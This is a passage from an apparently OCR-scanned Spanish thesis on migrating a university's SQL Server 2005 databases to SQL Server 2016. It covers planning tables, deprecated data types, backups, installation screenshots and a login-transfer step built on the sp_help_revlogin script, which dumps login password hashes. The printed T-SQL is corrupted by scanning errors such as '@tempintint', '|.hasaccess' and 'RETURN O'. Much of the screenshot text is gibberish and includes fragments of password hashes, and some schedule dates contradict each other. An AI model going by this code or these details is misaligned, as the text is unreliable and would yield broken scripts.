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9. Trasladar los inicios de sesiéon

Todas las bases de datos migradas y que se encuentran en el servidor SQL Server
2016 tienen usuarios huérfanos (se denomina usuario huérfano al usuario de base
de datos que no cuenta con un inicio de sesion), debido a que Unicamente fueron

trasladadas las bases de datos al nuevo servidor y no sus componentes externos.

Para garantizar que la base de datos en el nuevo servidor (SQL SERVER 2016) no

tenga usuarios huérfanos, es necesario transferir los inicios de sesion y contrasefias.

Para lo cual se debe:

e Ejecutar en SQL Server 2005 (origen) el siguiente script.

USE master
GO
IF OBJECT_ID ('sp_hexadecimal') IS NOT NULL
DROP PROCEDURE sp_hexadecimal
GO
CREATE PROCEDURE sp_hexadecimal
@binvalue varbinary(256),
@hexvalue varchar (514) OUTPUT
AS
DECLARE @charvalue varchar (514)
DECLARE @i int
DECLARE @length int
DECLARE @hexstring char(16)
SELECT @charvalue = '0x'
SELECT @i=1
SELECT @length = DATALENGTH (@binvalue)
SELECT @hexstring ='0123456789ABCDEF'
WHILE (@i <= @length)
BEGIN
DECLARE @tempintint
DECLARE @firstint int
DECLARE @secondint int
SELECT @tempint = CONVERT(int, SUBSTRING(@binvalue, @i,1))
SELECT @firstint = FLOOR(@tempint/16)
SELECT @secondint = @tempint - (@firstint*16)
SELECT @charvalue = @charvalue +
SUBSTRING(@hexstring, @firstint+1, 1) +
SUBSTRING(@hexstring, @secondint+1, 1)
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SELECT @i= @i+ 1
END

SELECT @hexvalue = @charvalue
GO

IF OBJECT_ID ('sp_help_revlogin') IS NOT NULL
DROP PROCEDURE sp_help_revlogin

GO

CREATE PROCEDURE sp_help_revlogin @login_name sysname = NULL AS

DECLARE @name sysname

DECLARE @type varchar (1)

DECLARE @hasaccess int

DECLARE @denylogin int

DECLARE @is_disabled int

DECLARE @PWD_varbinary varbinary (256)

DECLARE @PWD_string varchar (514)

DECLARE @SID_varbinary varbinary (85)

DECLARE @SID_string varchar (514)

DECLARE @tmpstr varchar (1024)

DECLARE @is_policy_checked varchar (3)

DECLARE @is_expiration_checked varchar (3)

DECLARE @defaultdb sysname

IF (@login_name IS NULL)
DECLARE login_curs CURSOR FOR

SELECT p.sid, p.name, p.type, p.is_disabled, p.default_database_name,
|.hasaccess, |.denylogin FROM
sys.server_principals p LEFT JOIN sys.syslogins |
ON ( l.name = p.name ) WHERE p.type IN ('S', 'G', 'U' ) AND p.name <> 'sa’'
ELSE
DECLARE login_curs CURSOR FOR

SELECT p.sid, p.name, p.type, p.is_disabled, p.default_database _name,
I.hasaccess, I.denylogin FROM
sys.server_principals p LEFT JOIN sys.syslogins |

ON ( l.name = p.name ) WHERE p.type IN ('S', 'G', 'U' ) AND p.name =
@login_name
OPEN login_curs

FETCH NEXT FROM login_curs INTO @SID_varbinary, @name, @type, @is_disabled,
@defaultdb, @hasaccess, @denylogin
IF (@ @fetch_status =-1)
BEGIN
PRINT 'No login(s) found."'
CLOSE login_curs
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DEALLOCATE login_curs
RETURN -1
END
SET @tmpstr ='/* sp_help_revlogin script '
PRINT @tmpstr
SET @tmpstr = '** Generated ' + CONVERT (varchar, GETDATE()) +'on '+
@ @SERVERNAME + ' */'
PRINT @tmpstr
PRINT "
WHILE (@ @fetch_status <> -1)
BEGIN
IF (@ @fetch_status <> -2)
BEGIN
PRINT "
SET @tmpstr = '-- Login: ' + @name
PRINT @tmpstr
IF (@type IN ('G', 'U"))
BEGIN -- NT authenticated account/group

SET @tmpstr = 'CREATE LOGIN ' + QUOTENAME( @name ) + ' FROM WINDOWS
WITH DEFAULT_DATABASE =[' + @defaultdb + ']’
END
ELSE BEGIN -- SQL Server authentication
-- obtain password and sid
SET @PWD_varbinary = CAST( LOGINPROPERTY( @name, 'PasswordHash' ) AS
varbinary (256) )
EXEC sp_hexadecimal @PWD_varbinary, @PWD_string OUT
EXEC sp_hexadecimal @SID_varbinary, @SID_string OUT

-- obtain password policy state

SELECT @is_policy_checked = CASE is_policy_checked WHEN 1 THEN 'ON' WHEN
O THEN 'OFF' ELSE NULL END FROM sys.sql_logins WHERE name = @name

SELECT @is_expiration_checked = CASE is_expiration_checked WHEN 1 THEN
'ON' WHEN 0 THEN 'OFF' ELSE NULL END FROM sys.sql_logins WHERE name = @name

SET @tmpstr = 'CREATE LOGIN ' + QUOTENAME( @name ) + ' WITH PASSWORD
='+ @PWD_string + ' HASHED, SID = ' + @SID_string + ', DEFAULT_DATABASE =[' +
@defaultdb + ']’

IF ( @is_policy_checked IS NOT NULL)
BEGIN
SET @tmpstr = @tmpstr +', CHECK_POLICY ="'+ @is_policy_checked
END
IF ( @is_expiration_checked IS NOT NULL )
BEGIN
SET @tmpstr = @tmpstr + ', CHECK_EXPIRATION ="'+ @is_expiration_checked
END
END
IF (@denylogin = 1)
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BEGIN -- login is denied access

SET @tmpstr = @tmpstr + '; DENY CONNECT SQLTO ' + QUOTENAME( @name )

END
ELSE IF (@hasaccess = 0)
BEGIN -- login exists but does not have access

SET @tmpstr = @tmpstr + '; REVOKE CONNECT SQL TO ' + QUOTENAME( @name )

END
IF (@is_disabled = 1)
BEGIN -- login is disabled

SET @tmpstr = @tmpstr + '; ALTER LOGIN ' + QUOTENAME( @name ) + ' DISABLE'

END
PRINT @tmpstr
END

FETCH NEXT FROM login_curs INTO @SID_varbinary, @name, @type, @is_disabled,

@defaultdb, @hasaccess, @denylogin
END

CLOSE login_curs

DEALLOCATE login_curs

RETURN O

GO

El resultado de la ejecucion del script genera dos procedimientos almacenados

en la base de datos master, denominados sp_hexadecimal Y sp_help_revlogin

e Ejecutar en SQL Server 2005 (origen) el procedimiento

(3

‘sp_help_revlogin”

generado en el paso anterior. La ejecucion del procedimiento genera un script

con la informacién de inicios de sesion de servidor con sus respectivas

contrasefas. Ver grafico 37.
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Gréfico 37. Ejecucion procedimiento
Elaborado por: Investigador
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e Copiar el

resultado de

la ejecucion del

procedimiento almacenado

sp_help_revlogin y ejecutarlo en SQL Server 2016; se generar todos los inicios

de sesion y demas informacion relacionada con los usuarios de las bases de datos

migradas.

10. Identificar y crear manualmente: servidores vinculados, trabajos, tablas

maestras y otros componentes externos.

11. Si se llego a este punto significa que las bases de datos fueron migradas con
éxito desde SQL Server 2005 a SQL Server 2016, las bases de datos funcionan en

la nueva version.

6.7.2 Aplicacion de la guia para migracion segura de datos desde SQL Server
2005 a SQL Server 2016, en las bases de datos de la Direccién de
Tecnologia de Informacién y Comunicacion de la UTA.

a. Analisis

Especificacion de requerimientos

La DITIC de la UTA requiere realizar una migracion de sus bases de datos, desde

SQL Server 2005 hacia SQL Server 2016, segun los siguientes requerimientos:

1. Migrar las bases de datos del cuadro 19

Base de Datos

Descripcion

dbDistributivo

Contiene informacidn referente al distributivo
docente de la Universidad Técnica de Ambato.

dbPracticas

Contiene informacion referente a los proyectos
de précticas pre profesionales de formacion
académica de la Universidad Técnica de
Ambato y proyectos de vinculacién de la
facultad de Ciencias de la Salud de Ila
Universidad Técnica de Ambato.

Cuadro 19. Listado de base de datos

Elaborado por: Investigador
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Base de Datos Descripcion

DbTutorias Contiene informacién referente a tutorias de
docentes y estudiantes de la Universidad
Técnica de Ambato.

Contiene la mayor parte de informacién
Utamatico académica generada en la Universidad Técnica
de Ambato.

Cuadro 19. (cont.)

2. Debido a las altas exigencias de disponibilidad y la criticidad de la informacion
que se gestiona en las bases de datos a migrar, los periodos de inactividad necesarios
para la migracion deberan estar contemplados para los fines de semana y con previa

autorizacion del director.

3. Se migraran todos los componentes internos de cada una de las bases de datos,

como: tablas, procedimientos, triggers, funciones, reglas, tipos de datos, vistas, etc.

4. Se migraran todos los componentes externos que se encuentren relacionados con
las bases de datos, como: inicios de sesion, roles de servidor, vistas externas,

servidores vinculados, trabajos, etc.

5. El nuevo servidor de base de datos (SQL Server 2016) sera implementado en el

hardware y software descrito en los cuadros 20 y 21.

Software
Sistema Operativo Windows Server 2016 Data Center
64Bits
Sistema Gestor de Base de Datos SQL Server 2016 Enterprise Edition
64Bits
Sistema de Archivos NTFS

Cuadro 20. Especificaciones software
Elaborado por: Investigador
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Hardware

Memoria RAM 64 Gb
Disco Duro Tecnologia SAS, capacidad 2 TB
Procesador 8 nucleos

Cuadro 21. Especificaciones hardware

Elaborado por: Investigador

EL desarrollo de la migracion se la realizara de acuerdo con la planificacion

detallada en el cuadro 22.

informacion

la nueva version.

Objetivos Actividad Fecha Inicio | Fecha Fin Responsables
] ] Responsable migracion,
Analizar los Recoleccion de o
o y 02/05/2017 | 31/05/2017 | administradores de base de
requerimientos Informacion
datos
) Especificacion Responsable migracion,
Analizar los -
o de 01/06/2017 | 16/06/2017 | administradores de base de
requerimientos o
requerimientos datos
Realizacion de
copias de
Extraer la seguridad de las . .
. . 19/06/2017 | 12/09/2017 Responsable migracion
informacion bases de datos
(SQL Server
2005)
Realizacion de
Extraer la pruebas de L
. ) o 19/06/2017 | 12/09/2017 Responsable migracion
informacion funcionalidad de
respaldos
Realizacion de
Extraer la ] . o
. y inventario de 22/06/2017 | 17/07/2017 Responsable migracion
informacion
componentes
Adecuacion de la
Transformar la | . o
informacién para | 17/07/2017 | 07/09/2017 Responsable migracion

Cuadro 22. Planificacion de migracion

Elaborado por: Investigador
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Objetivos Actividad Fecha Inicio | Fecha Fin Responsables

Carga de Realizar Pruebas o
) . 08/09/2017 | 28/08/2017 Responsable migracion
informacién de Carga

Restaurar copias

de seguridad de
Cargar la L
. ) las bases de 29/08/2017 | 12/09/2017 Responsable migracion
informacion
datos (SQL
Server 2016)
Realizar pruebas
Pruebas de deteccion de 16/05/2017 | 12/09/2017 Responsable migracion

errores

Cuadro 22. (cont.)

Pruebas

Como dispone la guia, se realizaron pruebas en todo el proceso de migracion. A

continuacion, se detalla las acciones tomadas:

e Verificacion y validacion de copias de seguridad.

Se verifico y valido, que todas las copias y restauraciones de seguridad sean
generadas con éxito, tanto en los ambientes de prueba como en el escenario de

produccidn (copia y restauracion final).

e A través de pruebas de unidad se verifico y valido cada componente de la base

de datos. Los inconvenientes encontrados se detallan a continuacion:
Caracteristicas descontinuadas
Se detectd la utilizacion de los tipos de datos: text, image y ntext; los mismos que

son considerados como obsoletos en SQL Server 2016. En el cuadro 23, se puede

observar las tablas que utilizan campos con estos tipos de datos, adicionalmente se
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muestra la columna sugerencia, la misma que indica el tipo de datos por el cual fue

cambiado.

Base de datos Tabla Campo Tipo Sugerencia
dato
bdDistributivo | carreras_lineamientos_d cld_observacion text varchar(max)
iferentes
bdDistributivo | DistributivoDetalleDEA dd_observacion text varchar(max)
\Y
bdDistributivo | DistributivoDetalleDEA dd_observacionl text varchar(max)
\Y

bdDistributivo tipo_personal_opcion tpo_descripcion text varchar(max)
dbPracticas Observations description_obs text varchar(max)
dbPracticas Projects activity_summary_pro text varchar(max)
dbPracticas Projects specific_goal pro text varchar(max)
dbPracticas projects_medicine description_pro_med text varchar(max)
dbTutorias Questions description_quest text varchar(max)
utamatico BUZON SUGERENCIA text varchar(max)
utamatico ERPCONTRATOS CONEXPLICACION text varchar(max)
utamatico ERPCONTRATOSDOC | CONDOCEXPLICA text varchar(max)

ENTES CION
utamatico ERPCONTRATOS CONDOCIMGHORA | image | varbinary(max
RIO )
utamatico ERPCONTRATOS CONDOCOBSERVA text varchar(max)
CION

utamatico MATRIZESCUELA ins_actividades text varchar(max)

utamatico MATRIZESCUELA ins_paginaweb text varchar(max)

Cuadro 23. Tipos de datos descontinuados
Elaborado por: Investigador

Malas practicas en ejecucion de sentencias

JOINS no calificados

Se detectaron vistas, funciones y procedimientos con JOINS no calificados, como

el siguiente ejemplo:

SELECT *

FROM libro, biblioteca

where libro.codigoLibro = bliblioteca.codigoLibro
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Segun las recomendaciones de Microsoft, se optd por la utilizacion de sentencias:
INNER JOIN, LEFT JOIN RIGHT JOIN.

En el cuadro 24, se puede observar los objetos encontrados:

Base de datos

Vista/Procedure/Funcién

utamatico sp_load_by_seguimiento
utamatico sp_load_by_seguimiento_all
utamatico sp_load_cambio_paralelo
utamatico sp_load_cupos

utamatico sp_load_horario
utamatico sp_load_horas

utamatico sp_movilidadCarrera
utamatico spAnularMatricula
utamatico spAux3

utamatico spCCreditosExtras
utamatico spCDatosEst

utamatico spCertificadoNota
utamatico spCEstMatriModulos
utamatico spCMatriNolLegalizadas
utamatico spCModulosEstPerido
utamatico spCPeriodolngreso
utamatico spDatosestudianteCarrera
utamatico spDBancarios

utamatico spDCapacitacion
utamatico spDConyugue

utamatico spDDeclaracion
utamatico spDHijos

utamatico spDHLaboral

utamatico spDInstruccion

utamatico spHVerifica

utamatico spMHorario

utamatico spMNotasActualesCarrera
utamatico spObtenerMatPensum
utamatico spOtrasFacultades
utamatico spPHorariogeneral
utamatico spProfesorEspecialidad
utamatico spSemiFechasModulos
utamatico spTipoSubAreaConEspecifico
utamatico spWAnulacionDatos

Cuadro 24. JOINS NO CALIFICADOS
Elaborado por: Investigador
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Base de datos Vista/Procedure/Funcién
utamatico spWAux3
utamatico spWEstCarreras
utamatico spWEstudianteEstado
utamatico spWFactura
utamatico spWGeneraOrden
utamatico spWHorarios
utamatico spWLegalizarMat
utamatico spWNMateriasMatricula
utamatico spWMateriasPensum
utamatico spWNMatriculasAct25
utamatico spWNotasActuales
utamatico spWNotasPeriodo
utamatico spWRegistroMatricula
utamatico spWVerFechaMatricula
utamatico fCAux1
utamatico fCTotalCredEst
utamatico FHVERHORACOMPLETA
utamatico fWAux1
utamatico fWtotalcreditos
utamatico spWAux2

Cuadro 24. (cont.)

Clausula ORDER BY ordenada por numero entero

Se detecto en procedimientos almacenados (ver cuadro 25) el uso de la clausula
ORDER BY, que especifica los nimeros de columnas ordinales como columnas de
clasificacion (una columna de clasificacién se puede especificar como un entero no
negativo que representa la posicion del nombre o alias en la lista de seleccién), pero
esto no es recomendable porque una lista de seleccion es susceptible a cambios
(inclusién y disminucién de columnas) que alteren su orden y por ende cambie el

resultado entregado.

Base de datos

Vista/Procedure/Funcién

Utamatico

sp_load_horario

Utamatico

sp_cargar_datos

Cuadro 25. Clausula Order By
Elaborado por: Investigador
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c. Control de desastres

Se tomd las medidas sugeridas por la guia segun se detalla a continuacion:

1. Respaldos de base de datos

Se configuraron en modo “SINGLE USER” todas las bases de datos del servidor
origen (SQL Server 2005) antes de realizar el ltimo respaldo (respaldos finales que
serén trasladados al nuevo servidor).

2. Bases de datos origen y destino en funcionamiento

Las cadenas de conexién de las aplicaciones que consumen fueron actualizadas para
que trabajen con el nuevo servidor (SQL Server 2016), y se bajo el servicio del
anterior servidor (SQL Server 2005), nunca los dos servidores funcionaron al

mismo tiempo.

Se detectd una cadena de conexion que no fue actualizada, la misma que fue

corregida. Ver grafico 38.

<ScriptCase> = PreductionEn.. X 4
€ O/ 8 nups/ioaciesutaeduec =f4e2c378923%0c5¢

<, Production Environment

Database Coanecfions
Creaie new conneclion
Edit connedion ConnedionMame |0 "ese | ;
Renams conneclion L e =
e XSE pows Tipe WSSOL Server 5 S
Production Coafiguration e
Canfigure produdion emironment Seentiel lame oK) . | IPNUEVA
HIGWE pF 0O Smaronm = T =
Change password Database Nams M
Help Usemame 3
Logout Password seesscssses
AZVINCEC
Save! Cancsl

Grafico 38. Cambio cadena conexién
Elaborado por: Investigador
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3. Seguridad de respaldos

Se registro el responsable, la fecha de entrega y el motivo de cada uno de los

respaldos realizados de las bases de datos en un documento para el efecto.

Se restringio el acceso no autorizado a los escenarios (maquinas virtuales) en donde
se realizaron las respectivas pruebas del proceso de migracion, a través de usuarios

y contrasefias robustas.

Ademas, se optd por realizar todo el proceso de migracion en la institucion, mas
concretamente en la DITIC, y seguir estrictamente la medida recomendada en la

guia, de no sacar informacion (respaldos de bases de datos) fuera del area de trabajo.
d. Extraccién, transformacion y carga

1. Instalar una copia separada de SQL Server 2016

A continuacidn, se describe los pasos mas importantes realizados para la instalacion
de SQL Server 2016.

Ejecucion del CD de instalacion, en la opcion instalacion se selecciond, “Realizar

una nueva instalacion de SQL Server”. Ver grafico 39

T SOL Server Instaliation Centes - O

Planning

0C add leatyures 10 3 xialing inaatation

& i & non-clustered environment or to add

Instalistion
Murrerance
Teols
Resources

Adgvanced

Options

d page that provides a ink to watal 5
al Studio stegation nduding p
SOL Database, the SQL Server Database Engine, Repotting Senic

and tegration Services. An mtemnet commection is requinsd to sntall SSDT

qj New 5Q
. Launch "

1 laideves Custer installaton

1 to inatall & single-node SOL Server 2016 fnlover cluster

o Add nede to & SOL Servar failover duster
" Launch » wizard to add » node to an easting SGL Server 2016 failover chnter
3= Upgrade from 4 previous version of SOL Server
Launch » wizard to upgrade a preioos version of SOL Server to SOL Server 2016

Gréafico 39. Nueva instalacién - SQL Server 2016
Elaborado por: Investigador
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A continuacion, se selecciond los componentes a instalar (Motor de Base de Datos,
Analysis Services y otros). Para este caso se escogio, Motor de Base de Datos. Ver

grafico 40.

T SOL Server 2016 Setup —

Feature Selection

Select the Enterprise features to install.

Product Key Features: Feature description:

License Terms Instance Features * || The configuration and ocperation

Global Rules Database Engine Services instance feature of a SQL Server i

Microsoft Update SOL Server Replication isolated from other SOL Server in
R Services (In-Database) Server instances can operate side

Product Updates i . .
Full-Text and Semantic Extractions for Sea Prerequisites for selected features

Install Setup Files Data Quality Services

Already installed:

Install Rules ] i

. D IIJUI.)rBSase.Quer}r Service for External Data Windows PowerShell 2.0 ar b
Feature Selection na )‘rS!S ENIC_ES ) Lo Microsoft WFT Framewnrk 4,
Feature Rules [] Reporting Services - Native <

Shared Features

Disk Space Requirements
[] R Server (Standalone) =R :

Instance Configuration

PelyBase Configuration [] Reparting Services - SharePoint Drive C: 4194 ME required, 37335
Server Configuration [ Reporting Services Add-in for SharePoint Proi ¥
Database Engine Configuration = &
Consent to install Microsoft R ...
Select All Unselect All

Fo ¥e L 0.l

Gréfico 40. Seleccion de componentes - SQL Server 2016
Elaborado por: Investigador

En el siguiente paso se configuro las cuentas de usuario administrador, cuentas que
permitirdn administrar cada componente seleccionado en el paso anterior. Para este

caso “Motor de base de Datos”. Ver gréfico 41.

Service Account Name Password Startup Type
NT Service\SQLSERVERAGENT Manual ~
SQL Server Database Engine NT Service\MS5CQLSERVER Automatic | v
SQL Server Analysis Services NT Service\MSSC0LServerOLAPSe... Automatic | v
SQL Server Reporting Services NT Service\ReportServer Automatic | v
SQL Server Integration Services 13.0 NT Service\MsDtsServer130 Automatic |~
SQL Server Distributed Replay Client NT Service'S0L Server Distribute... Manual ~
SQL Server Distributed Replay Controller NT Service'S0L Server Distribute... Manual ~
30L Server Launchpad NT Service'MS50LLaunchpad Automatic
SCL Full-text Filter Daemen Launcher NT Service\MSS0LFDLauncher Manual
SOL Server Browser NT AUTHORITY\ LOCAL SERVICE Disabled w
[ Grant Perferm Velume Maintenance Task privilege to SOL Server Database Engine Service
This privilege enables instant file initialization by avoiding zercing of data pages. This may lead to information disclosure
by allowing deleted content to be accessed,
Fanl FFS PR £ ledail

Gréfico 41. Cuentas de servicio - SQL Server 2016
Elaborado por: Investigador
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Configurar la opcion Collation, se especifico la mismas con respecto al servidor
SQL Server 2005 (servidor origen). Ver grafico 42.

Ind collation configuration,

Service Accounts  Collation
Database Engne:
Customize..
Latin}-General case-insensitive, accent-sensitive, kanatype-insensitive, width-

insensitive for Unicode Data, SQL Server Sort Order 52 on Code Page 1252 for non-
Unicoce Data

Gréfico 42. Configuracién Collation - SQL Server 2016
Elaborado por: Investigador

La instalacion culmina con un resumen de lo instalado. Ver gréafico 43.

T SOK Server 2014 Setup - o *
Complete with fallures
Your SQL Server 2016 installation completed with fafures.
Pyt Ky yitonmatian about the Setup cperation ex pessitie next steps
e | Feature ASI&.‘:" -
Glcbel Ruen
ki gcm Tooks S0K Succeeded
Product Updates (3 Cluwrt Took Backwards Compatibiny Succveded
Install Setup Fles @ Reporting Seracws - Natrew Succmeded
Instafl Rubes (G Databinse Engine Servacer Succweded
Fakud G Nab e Chsabes Samaras Sarrsmarled \4
Featurs Rlen
Imtance Confgurancn Rears
Servet Configurstion
Database Engne Configuration
Analyss Sevices Configuation Product Update:
Regerting Seraces Cenfig Product Update has soccessfully applied KB 3132545 <. suppeet st oaaft comy =31 82545 Thess vpdates Bave set the
Datributed Replay Contociler patck el of the Setup operation 1o 1)1 40010
Dwtrbuted Replay Client
Consert to instalk Microsoft £ Sommary log fie has been saved to the foliowing locaton
Restare Configuration fules C\Progom FleMitmsalt SO5 Severt 130 Satu Scctirariiegi 2017 1215 $301153 Sammary WIN:
Heady to Install EMERITANTSI 2011116 1301160

Gréfico 43. Finalizacién de instalacion - SQL Server 2016
Elaborado por: Investigador
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2. Asegurar que SQL Server 2005 esta en el Gltimo Service Pack (Service Pack 4).

Con la ejecucion del comando se comprobd que SQL Server 2005 cuenta con el

Service Pack necesario para la migracion. Ver grafico 44.

("PRODUCTLEVEL') AS 5P,
ITY ("PRODUCIVERSION') AS VERSICH

L

= Results ug Messages

SERVICEPACK _VERSION
1 fspa | 9.00.5000.00 |

Gréfico 44 Comprobacidn de Service Pack - SQL Server 2005
Elaborado por: Investigador

3. Realizar una copia de seguridad de todas las bases de datos a ser migradas

Del listado de base de datos determinado en la especificacion de requerimientos, se
realizd las copias de seguridad respectivas, segun lo indica la guia de migracion.
Cada una de las bases de datos se configur6 en modo “SINGLE USER”. Ver
graficos 45, 46 ,47 y 48.
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Grafico 45. Respaldo utamatico - SQL Server 2005
Elaborado por investigador
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Grafico 46. Respaldo dbTutorias - SQL Server 2005
Elaborado por: Investigador

Grafico 47. Respaldo dbPracticas - SQL Server 2005
Elaborado por: Investigador
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Grafico 48. Respaldo dbDistributivo - SQL Server 2005
Elaborado por: Investigador

4. Instalar una copia intermedia de SQL Server 2008 R2. Ver las figuras 49, 50 y
51, que indican los pasos principales realizados para la instalacion de SQL Server
2008 R2

B Cernro de mstalacion de STUL Server - o X
Parayrres: B Nues2 #TaldG0m 0 93repa CHEIHEDCE § uns uldacdn oilerte
Tnatabaciln micie an asstente pars mstalar SOL Server 2008 RZ e un entomme ne organiaado o
CNEEY O DOCE AQPRgAT CAnSCIRNsaCEs § Und inctance de STL Server 2008 K2 enstente
Martenimamets.
a PNuest wstalacidn e Ouster de Camvmutacdn per etinr de SCL Senver
Wcie an asstente pare wataler un Jister Se CanmuEaciin por ewor de SOL Server 2008
Recumon ®2 de nodo Um0
Svaraden f{ AQregar Nodo & Ciier e COMMUIRCHIN por enor de SOL Sevver
Opoxenes HCIE G 3SSTENTE Dare Sgregar un FOAS § un Chster die Conmutacitn por eves de 500
Seroer 2008 B2 exstente
".—' Achusticy deiie SOL Server 200G SOK Server 00 ¢ 504 Yerver JE
S wicie an 2ustents pana oo SOL Server 2000, SCL Sesver 2007 o SOL Server 2008 »
S0L Server 2008 B2

E . Butiw »ClUBRZIGEmE de groducto
Buscx scvaizaciones de productn de SOL Server 2008 A2 en Micosof Update.

)_bgaServer.ur £n

Gréfico 49. Instalacion - SQL Server 2008 R2
Elaborado por: Investigador
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‘;.: Programa de instalacion de SQL Server 2008 R2

Seleccion de caracteristicas

Seleccione |as caracteristicas de Developer que desea instalar.

Reglas auxiliares del programa de inst...
Tipo de instalacion

Clave de producto

Términas de licencia

Rol de instalacidn

Seleccion de caracteristicas
Reglas de instalacion

Configuracion de instancia

Requisitos de espacio en disco
Configuracion del servidor

Configuracion del Motor de base de d. ..

Informes de errores

Caracteristicas:

Descripcion:

& INsCan:

Servicios de Motor de base de datos

[ Replicacién de SGL Server

[ Buisqueda de texto completa
[ Analysis Services
[] Reparting Services
Caracteristicas compartidas
Business Inteligence Development Studio
Conectividad con las herramisntas de clientes
Integration Services
Zompatibilidad con versiones anteriores de las herramientas de cliente
50K de las herramientas de cliente

Libros en pantalla de SCL Server
n inmtac de adrainickeacido . 0Ac
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son dependientes de |
v bienen sus propios s
en el Reqistro. Admite
instancias en un equig

Gréfico 50. Seleccidn de componentes - SQL Server 2008 R2

Elaborado por: Investigador
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Gréfico 51. Finalizacién de instalacion - SQL Server 2008 R2

Elaborado por: Investigador

5. Instalar el Service Pack adecuado en SQL Server 2008 R2 provisional.

Con la ejecucion del siguiente comando se comprob6 que SQL Server 2008 R2
cuenta con el Service Pack necesario para la migracion. Ver grafico 52.

SELECT
SELECT
SELECT

SRTY ("EDITION') AS SQL Server Edition
ERTY ( "PRODUCTLEVEL') AS SQL_ Product_ Level
tRTY ( "PRODUCTVERSION' AS SQL_ Version

Results .:J Meszages
SQL_S"etvet_E dition

| Developer Edion |
SQL_P‘lod.:ct_Lew_lgl

[sp2 ;

Gréfico 52. Comprobacion de Service Pack - SQL Server 2008 R2
Elaborado por: Investigador
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6. Restaurar la copia de seguridad de base de datos SQL Server 2005 en el sistema

provisional SQL Server 2008/R2 que ha sido instalado provisionalmente.

Del listado de las bases de datos respaldadas en el servidor original (SQL Server
2005), se realizo las restauraciones respectivas de las bases de datos en SQL Server

2008 R2, como lo muestra el grafico 53.

Las bases de datos restauradas fueron: utamatico, dbPracticas, dbTutorias, y
dbDistributivo.

Exploradar de objetas

Conectar = _.ij! _ﬁﬂ B T IE £

= Ld SERVER-UTAYMSSQLSERNYERZO0S (SOL Server 10,50,6000 - SERVER-UTA

=l [ Bases de datos

[ Bases de datos del siskema

[ Instantineas de bases de datos
[J Feport3erversMasQLIERVER 2005
U Feport3erversMaaQL3ERVER 2008 TemplE
ukamatico
dbPracticas
dbDistributivio
| dbTutorias
[ Sequridad
[ Objetos de servidar
[ Replicacidn
[ Administracin
ﬁ Agente SOL Server

[

HEBNKEEHK

Gréfico 53. Bases de datos restauradas — SQL Server 2008 R
Elaborado por: Investigador

7. El siguiente paso fue realizar una copia de seguridad de estas bases de datos
provisionales (SQL Server 2008 R2) para su posterior restauracion en SQL Server
2016.

8. A continuacion se tomd las copias de seguridad de las bases de datos
provisionales (SQL Server 2008 R2) y se restauré en SQL Server 2016. Ver figuras
54, 55,56 y 57.
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4 Smncre Detubiare - shTtone _— =} X
[ A tablog badun o Tw source atebiare ol S Lt View Ban setiryg on Twe Ootere bege
p— T
¥ e
| Cotans e
W Ut & o =
) Dy =
Nigataw
Tt
Dyt ONEm -]
Bt [Mehe bubcprdion foviy WA I 123709 | ! Traetna
Famze s
Saghe aete % oo
Ptz Hiasw Compmwt  Typw Servwr Outatass  Fustan  frw 3N
| Bl STusasfuDasme Bkl Domme  Ff SSRIEANIACH STawes ! it g
o 1991800 )
‘e somneilon ivigenesy
[Progress
Haady s *
o

Grafico 55. Restauracion dbTutorias - SQL Server 2016
Elaborado por: Investigador
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Gréfico 56. Restauracion dbDistributivo - SQL Server 2016
Elaborado por: Investigador
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Gréfico 57. Restauracién utamatico - SQL Server 2016
Elaborado por: Investigador
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9. Trasladar los inicios de sesiéon

Una vez restauradas las bases de datos en SQL Server 2016, es necesario también
trasladar los inicios de sesion con las respectivas contrasefias; con la finalidad de
evitar usuarios huérfanos en el nuevo servidor. En el grafico 58 se ilustra los

usuarios huérfanos de la base de datos utamatico en SQL Server 2016.
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Gréfico 58. Usuarios huérfanos - SQL Server 2016
Elaborado por: Investigador

En el grafico 59, se ilustra los inicios de sesion que fueron trasladados a SQL Server
2016.

= |5 N (5QL Server 9,0,1399 - 5a) ]
@ [ Databases

4 = ] Logins
= i DR Security\Logins
A _reportes
A acamino
L:{; achavez Name
;‘f‘: s & _reportes
A ua _:a acamino
& a0p 4% achavez
S A & alemus
A& bbejarano A amorge
& bcarrera ::.:t apaucar

Gréfico 59. Inicios de sesion - SQL Server 2005
Elaborado por: Investigador

En el grafico 60, se ilustra la ejecucidon en SQL Server 2005 del script que consta

en la guia de migracién, para la transferencia de logins.
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T T T ~ T | I kbbbt S

T23E master
]
IF OBJECT ID ('sp_ hexadecimsl') IS5 NOT NULL
DROF PROCEDURE sp hexadecimal
Fio
CREATE PROCEDURE sp hexadecimal
Fhinvalue varbinarviZ5a6) .,
Fhexwvalue wvarchar (514) OUTPUT

Lz
DECLARE @charvaluse warchar (514)
DECLARE @i int
DECLARE [@length int
DECLARE Hhexstring char(16)
SELECT Hcharvalus = 'Ox'
SELECT i = 1
SELECT [length = DATALENGTH (Ehinvalus)
SELECT @hexstring = '01Z23456782AECDEF!
WHILE (Bi <= Blength)
BEGIN
DECLARE Btempint int
DECLARE [firstint int

TiR™T ADF Moocrmmndint §wnt

_'_1 Meszzages

Command (=) completed successfully.

Grafico 60. Ejecucion script transferencia de logins
Elaborado por: Investigador

En el gréafico 61, se ilustra el resultado de la ejecucion en SQL Server 2005 del
procedimiento “master..sp_help_revlogin” generado en el paso anterior. El script

resultante fue guardado para su posterior ejecucion en el nuevo entorno.

EXRCUTE [dba) [wp help vevioging .J

) | .

) Mwwvipm |

bogin  apmeine
BEAYE LOMLE lapaisins | VETE PAREWIOD & Oud L0000 RET0 R4 RIAISCDII3ANM Y1004 IR R0 DMABAARENS BANMRD , FIN = OaSCLYAUPCRELBASERARITAMRIIOCENT, §

Login _raparnes
BEATE AORIN |_saparton] WETH FARIWIM o L OOCAR M0 40 MO LT A 00 A LA RO O ARG Nl WAIAD | #1 N R T S Ty T TR P

T
BEATE LOGIN lapp | WETH PARSWORD = Oath L0y naponl | Poad CAROUN R4 AADID EPSCARCITRENMRI &) SANUND, K1) URASRETLSASADCCALREMNTRra M YR TS, DRI

(P
PEATE LURIN (wesanan| WITH RAssvORD R e Y R E e R VR T T DY | SEARARESIRI P AR AU TR RN AA NN, 0

bt
BEATE LOGLN [lpaswdes| WETH SASSNDRD » OudsOObGsBER 200 AASTNSRAD ID IO XERARCKANAN PPN EREAAl MASMES  S13 o BalBOMIUCI0ADY | hass o hd MICECAT I

Logla  yyemas
BRATE LOSIN (guenen] WITH SARENOED & Galiomaacin ysal?iraoy LASAREERIRLASMEPAREARO RN A0 e 200 A MANNES, 41 CADAAREE R LA AR ROR R TR E, B0
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Gréfico 61. Script de logins
